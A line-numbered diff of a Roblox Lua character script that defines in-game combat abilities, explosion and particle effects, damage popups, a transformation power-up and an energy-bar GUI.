1183 | targetgui=Instance.new("BillboardGui") | |
1184 | targetgui.Parent=ZTarget | |
1185 | targetgui.Size=UDim2.new(10,100,10,100) | |
1186 | targ=Instance.new("ImageLabel") | |
1187 | targ.Parent=targetgui | |
1188 | targ.BackgroundTransparency=1 | |
1189 | targ.Image="rbxassetid://4834067" | |
1190 | targ.Size=UDim2.new(1,0,1,0) | |
1191 | cam.CameraType="Scriptable" | |
1192 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1193 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1194 | workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1195 | Targetting=true | |
1196 | RocketTarget=ZTarget | |
1197 | for i=1,Property do | |
1198 | --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do | |
1199 | if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then | |
1200 | swait() | |
1201 | end | |
1202 | --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100) | |
1203 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position) | |
1204 | dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z) | |
1205 | cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0) | |
1206 | end | |
1207 | Targetting=false | |
1208 | RocketTarget=nil | |
1209 | targetgui.Parent=nil | |
1210 | cam.CameraType="Custom" | |
1211 | end | |
1212 | end | |
1213 | debounce=Instance.new("BoolValue") | |
1214 | debounce.Name="DebounceHit" | |
1215 | debounce.Parent=hit.Parent | |
1216 | debounce.Value=true | |
1217 | game:GetService("Debris"):AddItem(debounce,Delay) | |
1218 | c=Instance.new("ObjectValue") | |
1219 | c.Name="creator" | |
1220 | c.Value=Player | |
1221 | c.Parent=h | |
1222 | game:GetService("Debris"):AddItem(c,.5) | |
1223 | CRIT=false | |
1224 | hitDeb=true | |
1225 | AttackPos=6 | |
1226 | end | |
1227 | end | |
1228 | ||
1229 | showDamage=function(Char,Dealt,du,Color) | |
1230 | m=Instance.new("Model") | |
1231 | m.Name=tostring(Dealt) | |
1232 | h=Instance.new("Humanoid") | |
1233 | h.Health=0 | |
1234 | h.MaxHealth=0 | |
1235 | h.Parent=m | |
1236 | c=Instance.new("Part") | |
1237 | c.Transparency=0 | |
1238 | c.Material = "Neon" | |
1239 | c.BrickColor=bc("New Yeller") | |
1240 | c.Name="Head" | |
1241 | c.TopSurface=0 | |
1242 | c.BottomSurface=0 | |
1243 | local tick = Instance.new("Sound",c) | |
1244 | tick.SoundId = "rbxassetid://12221976" | |
1245 | tick.Volume = 5 | |
1246 | tick.Pitch = 4 | |
1247 | tick:Play() | |
1248 | c.formFactor="Plate" | |
1249 | c.Size=Vector3.new(1,.4,1) | |
1250 | ms=Instance.new("CylinderMesh") | |
1251 | ms.Scale=Vector3.new(.8,.8,.8) | |
1252 | if CRIT==true then | |
1253 | ms.Scale=Vector3.new(1,1.25,1) | |
1254 | end | |
1255 | ms.Parent=c | |
1256 | c.Reflectance=0 | |
1257 | Instance.new("BodyGyro").Parent=c | |
1258 | c.Parent=m | |
1259 | if Char:findFirstChild("Head")~=nil then | |
1260 | c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1261 | elseif Char.Parent:findFirstChild("Head")~=nil then | |
1262 | c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0)) | |
1263 | end | |
1264 | f=Instance.new("BodyPosition") | |
1265 | f.P=2000 | |
1266 | f.D=100 | |
1267 | f.maxForce=Vector3.new(math.huge,math.huge,math.huge) | |
1268 | f.position=c.Position+Vector3.new(0,3,0) | |
1269 | f.Parent=c | |
1270 | game:GetService("Debris"):AddItem(m,.5+du) | |
1271 | c.CanCollide=false | |
1272 | m.Parent=workspace | |
1273 | c.CanCollide=false | |
1274 | p:Destroy() | |
1275 | end | |
1276 | ||
1277 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
1278 | for _, c in pairs(workspace:children()) do | |
1279 | local hum = c:findFirstChild("Humanoid") | |
1280 | if hum ~= nil then | |
1281 | local head = c:findFirstChild("Torso") | |
1282 | if head ~= nil then | |
1283 | local targ = head.Position - Part.Position | |
1284 | local mag = targ.magnitude | |
1285 | if mag <= magni and c.Name ~= Player.Name then | |
1286 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
1287 | end | |
1288 | end | |
1289 | end | |
1290 | end | |
1291 | end | |
1292 | ||
1293 | function Explode(rad,par) | |
1294 | local expart = Instance.new("Part",script.Parent) | |
1295 | local expart2 = Instance.new("Part",script.Parent) | |
1296 | local partMesh = Instance.new("SpecialMesh",expart) | |
1297 | partMesh.MeshType = "Sphere" | |
1298 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1299 | partMesh2.MeshType = "Sphere" | |
1300 | local expld = Instance.new("Explosion", script.Parent) | |
1301 | local plode = Instance.new("Sound",expart) | |
1302 | plode.SoundId = "rbxassetid://165970126" | |
1303 | plode.Volume = 1 | |
1304 | plode.Pitch = 1 | |
1305 | plode.Looped = false | |
1306 | plode:Play() | |
1307 | expld.BlastRadius = rad | |
1308 | expld.Position = par.Position | |
1309 | partMesh.Scale = vt(rad,rad,rad) | |
1310 | expart.Size = vt(1,1,1)*1.5 | |
1311 | expart.Transparency = 0 | |
1312 | expart.Anchored = true | |
1313 | expart.Material = "Neon" | |
1314 | expart.BrickColor = bc("White") | |
1315 | expart.CFrame = par.CFrame | |
1316 | partMesh2.Scale = vt(rad,rad,rad) | |
1317 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1318 | expart2.Transparency = 0.5 | |
1319 | expart2.Anchored = true | |
1320 | expart2.Material = "Neon" | |
1321 | expart2.BrickColor = bc("New Yeller") | |
1322 | expart2.CFrame = par.CFrame | |
1323 | local value = 1*rad/6.5 | |
1324 | par:Destroy() | |
1325 | for i = 0, 100 do | |
1326 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1327 | expart.CFrame = expart.CFrame | |
1328 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1329 | expart2.CFrame = expart.CFrame | |
1330 | value = value - 0.035*rad/6.5 | |
1331 | if value < 1 then | |
1332 | value = 0.25 | |
1333 | expart.Transparency = expart.Transparency + 0.025 | |
1334 | expart2.Transparency = expart2.Transparency + 0.025 | |
1335 | end | |
1336 | wait() | |
1337 | end | |
1338 | plode.Parent = nil | |
1339 | expart.Parent = nil | |
1340 | expart2.Parent = nil | |
1341 | expld.Parent = nil | |
1342 | end | |
1343 | ||
1344 | function ExplodeMass(rad,par) | |
1345 | local expart = Instance.new("Part",script.Parent) | |
1346 | local expart2 = Instance.new("Part",script.Parent) | |
1347 | local partMesh = Instance.new("SpecialMesh",expart) | |
1348 | partMesh.MeshType = "Sphere" | |
1349 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1350 | partMesh2.MeshType = "Sphere" | |
1351 | local expld = Instance.new("Explosion", script.Parent) | |
1352 | local plode = Instance.new("Sound",workspace) | |
1353 | plode.SoundId = "rbxassetid://579687077" | |
1354 | plode.Volume = 1 | |
1355 | plode.Pitch = 0.85 | |
1356 | plode.Looped = false | |
1357 | plode:Play() | |
1358 | local plodez = Instance.new("Sound",workspace) | |
1359 | plodez.SoundId = "rbxassetid://288641686" | |
1360 | plodez.Volume = 1 | |
1361 | plodez.Pitch = 0.75 | |
1362 | plodez.Looped = false | |
1363 | plodez:Play() | |
1364 | local plodeza = Instance.new("Sound",workspace) | |
1365 | plodeza.SoundId = "rbxassetid://197161452" | |
1366 | plodeza.Volume = 0.85 | |
1367 | plodeza.Pitch = 0.65 | |
1368 | plodeza.Looped = false | |
1369 | plodeza:Play() | |
1370 | local plodezar = Instance.new("Sound",workspace) | |
1371 | plodezar.SoundId = "rbxassetid://197161452" | |
1372 | plodezar.Volume = 0.85 | |
1373 | plodezar.Pitch = 0.25 | |
1374 | plodezar.Looped = false | |
1375 | plodezar:Play() | |
1376 | expld.BlastRadius = rad | |
1377 | expld.Position = par.Position | |
1378 | wait(0.5) | |
1379 | par:Destroy() | |
1380 | plode.Parent = nil | |
1381 | expart.Parent = nil | |
1382 | expart2.Parent = nil | |
1383 | expld.Parent = nil | |
1384 | end | |
1385 | function ExplodeMassen(rad,par) | |
1386 | local expart = Instance.new("Part",script.Parent) | |
1387 | local expart2 = Instance.new("Part",script.Parent) | |
1388 | local partMesh = Instance.new("SpecialMesh",expart) | |
1389 | partMesh.MeshType = "Sphere" | |
1390 | local partMesh2 = Instance.new("SpecialMesh",expart2) | |
1391 | partMesh2.MeshType = "Sphere" | |
1392 | local expld = Instance.new("Explosion", script.Parent) | |
1393 | local plode = Instance.new("Sound",workspace) | |
1394 | plode.SoundId = "rbxassetid://579687077" | |
1395 | plode.Volume = 1 | |
1396 | plode.Pitch = 0.85 | |
1397 | plode.Looped = false | |
1398 | plode:Play() | |
1399 | local plodez = Instance.new("Sound",workspace) | |
1400 | plodez.SoundId = "rbxassetid://288641686" | |
1401 | plodez.Volume = 1 | |
1402 | plodez.Pitch = 0.75 | |
1403 | plodez.Looped = false | |
1404 | plodez:Play() | |
1405 | local plodeza = Instance.new("Sound",workspace) | |
1406 | plodeza.SoundId = "rbxassetid://197161452" | |
1407 | plodeza.Volume = 0.85 | |
1408 | plodeza.Pitch = 0.65 | |
1409 | plodeza.Looped = false | |
1410 | plodeza:Play() | |
1411 | local plodezar = Instance.new("Sound",workspace) | |
1412 | plodezar.SoundId = "rbxassetid://197161452" | |
1413 | plodezar.Volume = 0.85 | |
1414 | plodezar.Pitch = 0.25 | |
1415 | plodezar.Looped = false | |
1416 | plodezar:Play() | |
1417 | expld.BlastRadius = rad | |
1418 | expld.Position = par.Position | |
1419 | partMesh.Scale = vt(rad,rad,rad) | |
1420 | expart.Size = vt(1,1,1)*1.5 | |
1421 | expart.Transparency = 0 | |
1422 | expart.Anchored = true | |
1423 | expart.Material = "Neon" | |
1424 | expart.BrickColor = bc("White") | |
1425 | expart.CFrame = par.CFrame | |
1426 | partMesh2.Scale = vt(rad,rad,rad) | |
1427 | expart2.Size = vt(1.15,1.15,1.15)*1.5 | |
1428 | expart2.Transparency = 0.5 | |
1429 | expart2.Anchored = true | |
1430 | expart2.Material = "Neon" | |
1431 | expart2.BrickColor = tors.BrickColor | |
1432 | expart2.CFrame = par.CFrame | |
1433 | local value = 1*rad/10 | |
1434 | par:Destroy() | |
1435 | for i = 0, 300 do | |
1436 | partMesh.Scale = partMesh.Scale + vt(value,value,value) | |
1437 | expart.CFrame = expart.CFrame | |
1438 | partMesh2.Scale = partMesh2.Scale + vt(value,value,value) | |
1439 | expart2.CFrame = expart.CFrame | |
1440 | value = value - 0.0175*rad/10 | |
1441 | if value <= 0 then | |
1442 | expart.Transparency = expart.Transparency + 0.0125 | |
1443 | expart2.Transparency = expart2.Transparency + 0.0125 | |
1444 | value = 0.25 | |
1445 | end | |
1446 | wait() | |
1447 | end | |
1448 | plode.Parent = nil | |
1449 | expart.Parent = nil | |
1450 | expart2.Parent = nil | |
1451 | expld.Parent = nil | |
1452 | end | |
1453 | local Ultramode = false | |
1454 | ||
1455 | function Transform() | |
1456 | if basiccooldown >= 5 then | |
1457 | hum.WalkSpeed = 0 | |
1458 | local sparta = Instance.new("Part",workspace) | |
1459 | local msher = Instance.new("SpecialMesh",sparta) | |
1460 | msher.MeshType = "Sphere" | |
1461 | msher.Scale = vt(1,1,1) | |
1462 | wit = BrickColor.new("Really black").Color | |
1463 | local glowz = Instance.new("ParticleEmitter") | |
1464 | glowz.LightEmission = 1 | |
1465 | glowz.Parent = sparta | |
1466 | glowz.Texture = "rbxassetid://284205403" | |
1467 | glowz.Color = ColorSequence.new(wit) | |
1468 | glowz.Size = NumberSequence.new(15) | |
1469 | glowz.Speed = NumberRange.new(100,250) | |
1470 | glowz.LockedToPart = false | |
1471 | glowz.Transparency = NumberSequence.new(0.75) | |
1472 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1473 | glowz.Lifetime = NumberRange.new(1) | |
1474 | glowz.Rate = 50000 | |
1475 | glowz.VelocitySpread = 9001 | |
1476 | local sa2 = Instance.new("Sound",sparta) | |
1477 | sa2.SoundId = "rbxassetid://93724183" | |
1478 | sa2.Pitch = 0.5 | |
1479 | sa2.Volume = 5 | |
1480 | sa2.Looped = false | |
1481 | sa2:Play() | |
1482 | local saz2 = Instance.new("Sound",sparta) | |
1483 | saz2.SoundId = "rbxassetid://199145659" | |
1484 | saz2.Pitch = 0.45 | |
1485 | saz2.Volume = 5*2 | |
1486 | saz2.Looped = false | |
1487 | local plode = Instance.new("Sound",sparta) | |
1488 | plode.SoundId = "rbxassetid://153274423" | |
1489 | plode.Volume = 5 | |
1490 | plode.Pitch = 1 | |
1491 | plode.Looped = false | |
1492 | local ploder = Instance.new("Sound",sparta) | |
1493 | ploder.SoundId = "rbxassetid://130972023" | |
1494 | ploder.Volume = 5 | |
1495 | ploder.Pitch = 1 | |
1496 | ploder.Looped = false | |
1497 | sparta.Size = vt(1,1,1) | |
1498 | sparta.BrickColor = BrickColor.new("Really black") | |
1499 | sparta.Material = "Neon" | |
1500 | sparta.Transparency = 0 | |
1501 | sparta.Anchored = true | |
1502 | sparta.CanCollide = false | |
1503 | sparta.CFrame = tors.CFrame | |
1504 | sparta.Rotation = vt(0,0,0) | |
1505 | local value2 = 2 | |
1506 | for i = 0, 24 do | |
1507 | value2 = value2 - 0.065 | |
1508 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1509 | wait() | |
1510 | end | |
1511 | for i = 0, 10 do | |
1512 | value2 = value2 + 0.06575 | |
1513 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1514 | wait() | |
1515 | end | |
1516 | for i = 0, 10 do | |
1517 | value2 = value2 - 0.2 | |
1518 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1519 | wait() | |
1520 | end | |
1521 | for i = 0, 10 do | |
1522 | value2 = value2 + 0.275 | |
1523 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1524 | wait() | |
1525 | end | |
1526 | for i = 0, 10 do | |
1527 | value2 = value2 - 0.4 | |
1528 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1529 | wait() | |
1530 | end | |
1531 | for i = 0, 10 do | |
1532 | value2 = value2 + 0.475 | |
1533 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1534 | wait() | |
1535 | end | |
1536 | for i = 0, 10 do | |
1537 | value2 = value2 - 0.6 | |
1538 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1539 | wait() | |
1540 | end | |
1541 | for i = 0, 10 do | |
1542 | value2 = value2 + 0.675 | |
1543 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1544 | wait() | |
1545 | end | |
1546 | for i = 0, 10 do | |
1547 | value2 = value2 - 0.7 | |
1548 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1549 | wait() | |
1550 | end | |
1551 | for i = 0, 10 do | |
1552 | value2 = value2 + 0.775 | |
1553 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1554 | wait() | |
1555 | end | |
1556 | saz2:Play() | |
1557 | wait(2.75) | |
1558 | plode:Play() | |
1559 | ploder:Play() | |
1560 | Ultramode = true | |
1561 | for i = 0, 75 do | |
1562 | value2 = value2 - 0.0575 | |
1563 | glowz.Rate = 0 | |
1564 | sparta.Transparency = sparta.Transparency + 0.025 | |
1565 | msher.Scale = msher.Scale + vt(value2,value2,value2) | |
1566 | wait() | |
1567 | end | |
1568 | hum.WalkSpeed = 16 | |
1569 | sparta:Destroy() | |
1570 | end | |
1571 | end | |
1572 | ||
1573 | ||
1574 | function Blaze2() | |
1575 | if ultcooldown >= 30 then | |
1576 | local sloc = Instance.new("Part",workspace) | |
1577 | local msh = Instance.new("SpecialMesh",sloc) | |
1578 | msh.MeshType = "Sphere" | |
1579 | sloc.Size = vt(1,1,1) | |
1580 | sloc.Transparency = 1 | |
1581 | sloc.BrickColor = tors.BrickColor | |
1582 | sloc.Position = hed.Position + vt(0,0.1,0) | |
1583 | sloc.CanCollide = false | |
1584 | sloc.Shape = "Ball" | |
1585 | sloc.Anchored = true | |
1586 | sloc.Material = "Neon" | |
1587 | local s = Instance.new("Sound",char) | |
1588 | s.SoundId = "rbxassetid://289315275" | |
1589 | s.Pitch = 1 | |
1590 | s.Volume = 2.75 | |
1591 | s.Looped = false | |
1592 | s:Play() | |
1593 | local s2 = Instance.new("Sound",char) | |
1594 | s2.SoundId = "rbxassetid://671759140" | |
1595 | s2.Pitch = 0.425 | |
1596 | s2.Volume = 1 | |
1597 | s2.Looped = false | |
1598 | s2:Play() | |
1599 | local val = 0.65*5 | |
1600 | for i = 0 , 75 do | |
1601 | sloc.Transparency = sloc.Transparency - 0.035 | |
1602 | msh.Scale = msh.Scale + vt(val,val,val) | |
1603 | val = val - 0.0075*5 | |
1604 | wait() | |
1605 | end | |
1606 | wait(2) | |
1607 | local sen = Instance.new("Sound",char) | |
1608 | sen.SoundId = "rbxassetid://289315275" | |
1609 | sen.Pitch = 1 | |
1610 | sen.Volume = 2.75 | |
1611 | sen.Looped = false | |
1612 | sen:Play() | |
1613 | local tick = Instance.new("Sound",char) | |
1614 | tick.SoundId = "rbxassetid://446876721" | |
1615 | tick.Volume = 2.5 | |
1616 | tick.Pitch = 0.5 | |
1617 | tick:Play() | |
1618 | msh.Scale = msh.Scale - vt(1,1,1) | |
1619 | sloc.Transparency = sloc.Transparency + 0.015 | |
1620 | local spart = Instance.new("Part",workspace) | |
1621 | local msh2 = Instance.new("SpecialMesh",spart) | |
1622 | msh2.MeshType = "Sphere" | |
1623 | spart.Size = vt(2,2,2) | |
1624 | spart.Shape = "Ball" | |
1625 | spart.BrickColor = tors.BrickColor | |
1626 | spart.Material = "Neon" | |
1627 | spart.Transparency = 0 | |
1628 | spart.Anchored = false | |
1629 | msh2.Scale = msh.Scale/2 | |
1630 | spart.Rotation = hed.Rotation | |
1631 | spart.CanCollide = false | |
1632 | spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0)) | |
1633 | local bv = Instance.new("BodyVelocity") | |
1634 | bv.maxForce = Vector3.new(1e9, 1e9, 1e9) | |
1635 | bv.velocity = mouse.Hit.lookVector * 125 | |
1636 | bv.Parent = spart | |
1637 | sloc:Destroy() | |
1638 | wait(0.00001) | |
1639 | pewdiepie=spart.Touched:connect(function(hit) | |
1640 | ExplodeMassen(100,spart) | |
1641 | end) | |
1642 | wait(5) | |
1643 | sloc:Destroy() | |
1644 | tick:Destroy() | |
1645 | s:Destroy() | |
1646 | sen:Destroy() | |
1647 | s2:Destroy() | |
1648 | end | |
1649 | if ultcooldown < 1 then | |
1650 | for i = 0, 29 do | |
1651 | ultcooldown = ultcooldown + 1 | |
1652 | wait(1) | |
1653 | end | |
1654 | end | |
1655 | end | |
1656 | ||
1657 | function Blaze() | |
1658 | if ultcooldown >= 30 then | |
1659 | local ff = Instance.new("ForceField",char) | |
1660 | local s = Instance.new("Sound",char) | |
1661 | s.SoundId = "rbxassetid://289315275" | |
1662 | s.Pitch = 1 | |
1663 | s.Volume = 2.75 | |
1664 | s.Looped = false | |
1665 | s:Play() | |
1666 | local s2 = Instance.new("Sound",char) | |
1667 | s2.SoundId = "rbxassetid://671759140" | |
1668 | s2.Pitch = 0.425 | |
1669 | s2.Volume = 1 | |
1670 | s2.Looped = false | |
1671 | s2:Play() | |
1672 | local spart = boll:Clone() | |
1673 | local spart2 = shur:Clone() | |
1674 | local msh = Instance.new("SpecialMesh",spart) | |
1675 | msh.MeshType = "Sphere" | |
1676 | spart.Parent = workspace | |
1677 | spart.Transparency = 1 | |
1678 | spart.Anchored = true | |
1679 | spart.Position = tors.Position + vt(0,1,0) | |
1680 | spart.Size = spart.Size + vt(1,1,1) | |
1681 | for i = 0, 10 do | |
1682 | spart.BrickColor = tors.BrickColor | |
1683 | spart.Transparency = spart.Transparency + -0.05 | |
1684 | spart.Position = tors.Position + vt(0,1,0) | |
1685 | spart.Size = spart.Size + vt(3,3,3) | |
1686 | wait(0) | |
1687 | end | |
1688 | for i = 0, 5 do | |
1689 | spart.BrickColor = tors.BrickColor | |
1690 | spart.Transparency = spart.Transparency + -0.05 | |
1691 | spart.Position = tors.Position + vt(0,1,0) | |
1692 | spart.Size = spart.Size + vt(2.5,2.5,2.5) | |
1693 | wait(0) | |
1694 | end | |
1695 | for i = 0, 5 do | |
1696 | spart.BrickColor = tors.BrickColor | |
1697 | spart.Transparency = spart.Transparency + -0.05 | |
1698 | spart.Position = tors.Position + vt(0,1,0) | |
1699 | spart.Size = spart.Size + vt(1,1,1) | |
1700 | wait(0) | |
1701 | end | |
1702 | for i = 0, 10 do | |
1703 | spart.BrickColor = tors.BrickColor | |
1704 | wait(0.1) | |
1705 | end | |
1706 | for i = 0, 20 do | |
1707 | spart.BrickColor = tors.BrickColor | |
1708 | spart.Transparency = spart.Transparency + 0.05 | |
1709 | spart.Position = tors.Position + vt(0,1,0) | |
1710 | spart.Size = spart.Size + vt(-5,-5,-5) | |
1711 | wait(0) | |
1712 | end | |
1713 | local sp = spart:Clone() | |
1714 | sp.Parent = workspace | |
1715 | sp.Position = spart.Position | |
1716 | local sp2 = sp:Clone() | |
1717 | sp2.Parent = workspace | |
1718 | sp2.Transparency = 0.5 | |
1719 | local msh2 = sp2.Mesh | |
1720 | msh2.Scale = vt(1250,1250,1250) | |
1721 | wit = tors.BrickColor.Color | |
1722 | local glowz = Instance.new("ParticleEmitter") | |
1723 | glowz.LightEmission = 0.75 | |
1724 | glowz.Parent = sp2 | |
1725 | glowz.Texture = "rbxassetid://284205403" | |
1726 | glowz.Color = ColorSequence.new(wit) | |
1727 | glowz.Size = NumberSequence.new(50) | |
1728 | glowz.Speed = NumberRange.new(425,450) | |
1729 | glowz.LockedToPart = false | |
1730 | glowz.Transparency = NumberSequence.new(0.75) | |
1731 | glowz.RotSpeed = NumberRange.new(-2000,2000) | |
1732 | glowz.Lifetime = NumberRange.new(1) | |
1733 | glowz.Rate = 50000 | |
1734 | glowz.VelocitySpread = 9001 | |
1735 | spart2.Parent = workspace | |
1736 | spart2.Mesh.Scale = vt(25, 90000, 25) | |
1737 | spart2.Position = tors.Position | |
1738 | local seen = Instance.new("Sound",char) | |
1739 | seen.SoundId = "rbxassetid://445796828" | |
1740 | seen.Pitch = 0.75 | |
1741 | seen.Volume = 1.75 | |
1742 | seen.Looped = true | |
1743 | seen:Play() | |
1744 | local sen = Instance.new("Sound",char) | |
1745 | sen.SoundId = "rbxassetid://289315275" | |
1746 | sen.Pitch = 0.98 | |
1747 | sen.Volume = 2.65 | |
1748 | sen.Looped = false | |
1749 | sen:Play() | |
1750 | local tick = Instance.new("Sound",char) | |
1751 | tick.SoundId = "rbxassetid://446876721" | |
1752 | tick.Volume = 5 | |
1753 | tick.Pitch = 0.5 | |
1754 | tick:Play() | |
1755 | local seena = Instance.new("Sound",char) | |
1756 | seena.SoundId = "rbxassetid://300916057" | |
1757 | seena.Pitch = 0.5 | |
1758 | seena.Volume = 2.5 | |
1759 | seena.Looped = false | |
1760 | seena:Play() | |
1761 | spart.Transparency = 0 | |
1762 | ExplodeMass(1000,sp) | |
1763 | for i = 0, 450 do | |
1764 | spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1)) | |
1765 | sp2.Position = spart.Position | |
1766 | spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035) | |
1767 | spart2.BrickColor = tors.BrickColor | |
1768 | msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5) | |
1769 | msh.Scale = msh.Scale + vt(50,50,50) | |
1770 | sp2.Transparency = sp2.Transparency + 0.0005 | |
1771 | spart.Transparency = spart.Transparency + 0.0025 | |
1772 | spart2.Transparency = spart2.Transparency + 0.0025 | |
1773 | wait(0) | |
1774 | end | |
1775 | spart:Destroy() | |
1776 | seena:Destroy() | |
1777 | ff:Destroy() | |
1778 | seen:Destroy() | |
1779 | sen:Destroy() | |
1780 | tick:Destroy() | |
1781 | spart2:Destroy() | |
1782 | s:Destroy() | |
1783 | sp:Destroy() | |
1784 | sp2:Destroy() | |
1785 | s2:Destroy() | |
1786 | end | |
1787 | if ultcooldown < 1 then | |
1788 | for i = 0, 29 do | |
1789 | ultcooldown = ultcooldown + 1 | |
1790 | wait(1) | |
1791 | end | |
1792 | - | local Color1=BrickColor.new("Royal purple") |
1792 | + | |
1793 | end | |
1794 | ||
1795 | -- sin | |
1796 | Player=game:GetService("Players").LocalPlayer | |
1797 | Character=Player.Character | |
1798 | PlayerGui=Player.PlayerGui | |
1799 | Backpack=Player.Backpack | |
1800 | Torso=Character.Torso | |
1801 | Head=Character.Head | |
1802 | Humanoid=Character.Humanoid | |
1803 | m=Instance.new('Model',Character) | |
1804 | LeftArm=Character["Left Arm"] | |
1805 | LeftLeg=Character["Left Leg"] | |
1806 | RightArm=Character["Right Arm"] | |
1807 | RightLeg=Character["Right Leg"] | |
1808 | LS=Torso["Left Shoulder"] | |
1809 | LH=Torso["Left Hip"] | |
1810 | RS=Torso["Right Shoulder"] | |
1811 | RH=Torso["Right Hip"] | |
1812 | Face = Head.face | |
1813 | Neck=Torso.Neck | |
1814 | it=Instance.new | |
1815 | attacktype=1 | |
1816 | vt=Vector3.new | |
1817 | cf=CFrame.new | |
1818 | euler=CFrame.fromEulerAnglesXYZ | |
1819 | angles=CFrame.Angles | |
1820 | cloaked=false | |
1821 | necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1822 | necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) | |
1823 | LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0) | |
1824 | LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0) | |
1825 | RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0) | |
1826 | RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0) | |
1827 | RootPart=Character.HumanoidRootPart | |
1828 | RootJoint=RootPart.RootJoint | |
1829 | RootCF=euler(-1.57,0,3.14) | |
1830 | attack = false | |
1831 | attackdebounce = false | |
1832 | deb=false | |
1833 | equipped=true | |
1834 | hand=false | |
1835 | MMouse=nil | |
1836 | combo=0 | |
1837 | mana=0 | |
1838 | trispeed=1 | |
1839 | pathtrans=.7 | |
1840 | attackmode='none' | |
1841 | local idle=0 | |
1842 | local Anim="Idle" | |
1843 | local Effects={} | |
1844 | local gun=false | |
1845 | local shoot=false | |
1846 | player=nil | |
1847 | cloak=false | |
1848 | - | mouse=Player:GetMouse() |
1848 | + | |
1849 | ||
1850 | local Color1=BrickColor.new("Really black") | |
1851 | ||
1852 | local fengui=it("GuiMain") | |
1853 | fengui.Parent=Player.PlayerGui | |
1854 | fengui.Name="WeaponGUI" | |
1855 | local fenframe=it("Frame") | |
1856 | - | TorsoColor=BrickColor.new("Royal purple") |
1856 | + | |
1857 | fenframe.BackgroundColor3=Color3.new(255,255,255) | |
1858 | fenframe.BackgroundTransparency=1 | |
1859 | fenframe.BorderColor3=Color3.new(17,17,17) | |
1860 | fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0) | |
1861 | fenframe.Position=UDim2.new(0.4,0,0.1,0) | |
1862 | local fenbarmana1=it("TextLabel") | |
1863 | fenbarmana1.Parent=fenframe | |
1864 | fenbarmana1.Text=" " | |
1865 | fenbarmana1.BackgroundTransparency=0 | |
1866 | fenbarmana1.BackgroundColor3=Color3.new(0,0,0) | |
1867 | fenbarmana1.SizeConstraint="RelativeXY" | |
1868 | fenbarmana1.TextXAlignment="Center" | |
1869 | fenbarmana1.TextYAlignment="Center" | |
1870 | fenbarmana1.Position=UDim2.new(0,0,0,0) | |
1871 | fenbarmana1.Size=UDim2.new(4,0,0.2,0) | |
1872 | local fenbarmana2=it("TextLabel") | |
1873 | fenbarmana2.Parent=fenframe | |
1874 | fenbarmana2.Text=" " | |
1875 | fenbarmana2.BackgroundTransparency=0 | |
1876 | fenbarmana2.BackgroundColor3=Torso.Color | |
1877 | fenbarmana2.SizeConstraint="RelativeXY" | |
1878 | fenbarmana2.TextXAlignment="Center" | |
1879 | fenbarmana2.TextYAlignment="Center" | |
1880 | fenbarmana2.Position=UDim2.new(0,0,0,0) | |
1881 | fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0) | |
1882 | local fenbarmana3=it("TextLabel") | |
1883 | fenbarmana3.Parent=fenframe | |
1884 | fenbarmana3.Text=" " | |
1885 | fenbarmana3.BackgroundTransparency=0 | |
1886 | fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3) | |
1887 | fenbarmana3.SizeConstraint="RelativeXY" | |
1888 | fenbarmana3.TextXAlignment="Center" | |
1889 | fenbarmana3.TextYAlignment="Center" | |
1890 | fenbarmana3.Position=UDim2.new(0,0,0,0) | |
1891 | fenbarmana3.Size=UDim2.new(0,0,0.2,0) | |
1892 | local fenbarmana4=it("TextLabel") | |
1893 | fenbarmana4.Parent=fenframe | |
1894 | fenbarmana4.Text="Energy("..mana..")" | |
1895 | fenbarmana4.BackgroundTransparency=1 | |
1896 | fenbarmana4.BackgroundColor3=Color3.new(0,0,0) | |
1897 | fenbarmana4.SizeConstraint="RelativeXY" | |
1898 | fenbarmana4.TextXAlignment="Center" | |
